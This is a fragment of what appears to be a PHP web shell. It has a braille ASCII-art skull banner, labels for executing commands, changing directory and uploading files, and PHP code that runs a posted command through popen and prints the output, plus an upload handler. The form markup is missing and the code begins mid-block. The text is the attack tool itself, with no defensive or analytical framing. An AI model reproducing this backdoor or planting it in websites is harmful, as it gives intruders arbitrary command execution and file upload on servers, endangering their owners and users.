⠀⠀⠀⢀⣀⣴⣶⣿⣾⣿⣿⣿⣷⣶⣤⣀
 ⠀⠀⢀⣼⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣸⣆
 ⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠂
 ⠀⣦⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⣠⡆⠀⠀|⠀⠀⠀⣴⡟⠛⢿⣆⠀⠀⢸⣿⠀⠀⣿⠀⣾⣿⣿⠀⢸⣿⣿⡇⠀⣿⣿⣷⠀⠀  ⠀⠀⣾⠀⣰⣿⠀⣿⣿⣿⣿⣄
 ⠀⠻⢿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢿⣿⠿⠃⠀⠀|⠀⠀⣼⠏⣠⣤⡆⢻⡆⠀⢸⣿⠀⠀⣿⠀⣿⡁⠀⠀⢸⠀⠀⠀⠀⡇⠀⢹⡇⠀  ⠀⠀⣿⣤⣿⠏⠀⣿⡇⠀⠀⣿⡆
 ⠀⣤⣸⣿⡀⠀⠙⠛⠻⣿⣿⣿⣿⠛⠛⠁⠀⣸⣿⣀⡄⠀⠀|⠀⠀⣿⠀⡏⠉⡇⢸⣿⠀⢸⣿⠀⠀⣿⠀⠻⣿⣦⠀⢸⣶⣶⡆⠀⣷⣶⡿⠁⠀  ⠀⠀⣿⣿⡋⠀⠀⣿⡇⠀⠀⣿⡇
 ⠀⠘⠿⣿⣿⣦⣤⣤⣶⣿⠟⢻⣷⣦⣤⣤⣼⣿⡿⠟⠀⠀⠀|⠀⠀⣿⡄⢷⣶⣧⣸⡟⠀⢸⣿⠀⠀⣿⠀⠀⠈⢻⠀⢸⠉⠉⠀⠀⡟⠛⣇⠀⠀⠀  ⠀⣿⠿⣷⡀⠀⣿⡇⠀⠀⣿⡇
 ⠀⠀⠀⠀⢻⣿⣿⣿⣿⡏⠀⠀⢻⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀|⠀⠀⠘⣿⣆⣀⡻⠟⠁⠀⠘⣿⣤⣼⡟⢠⣷⣤⣿⠀⢸⣶⣶⡄⠀⡇⠀⢿⡄⠀  ⠀⠀⣿⠀⢻⣿⡄⣿⣷⣤⣾⡟
 ⠀⠀⠀⠀⠘⢿⠘⣿⣿⣷⣶⣶⣿⣿⡿⢸⠟⠀⠀⠀⠀⠀⠀|⠀⠀⠀⠈⠛⠛⠃⠀⠀⠀⠀⠈⠛⠋⠀⠀⠛⠛⠁⠀⠘⠛⠛⠃⠀⠃⠀⠘ ⣤⣤⣤⣤ ⠙⠀⠀⠛⠁⠙⠛⠛⠋
  ⠀⠀⠀  ⠀⢿⡏⠉⠉⠉⠉⣿⠇⠸
Execute command:
Change directory:
Upload file: 


";
    } else {
        echo "There was an error uploading the file, please try again!";
    }
    }
    if(($_POST['exe']) == "Execute") {
     $curcmd = "cd ".$curdir.";".$curcmd;
     $f=popen($curcmd,"r");
     while (!feof($f)) {
      $buffer = fgets($f, 4096);
      $string .= $buffer;
     }
     pclose($f);
     echo htmlspecialchars($string);
    }
    ?>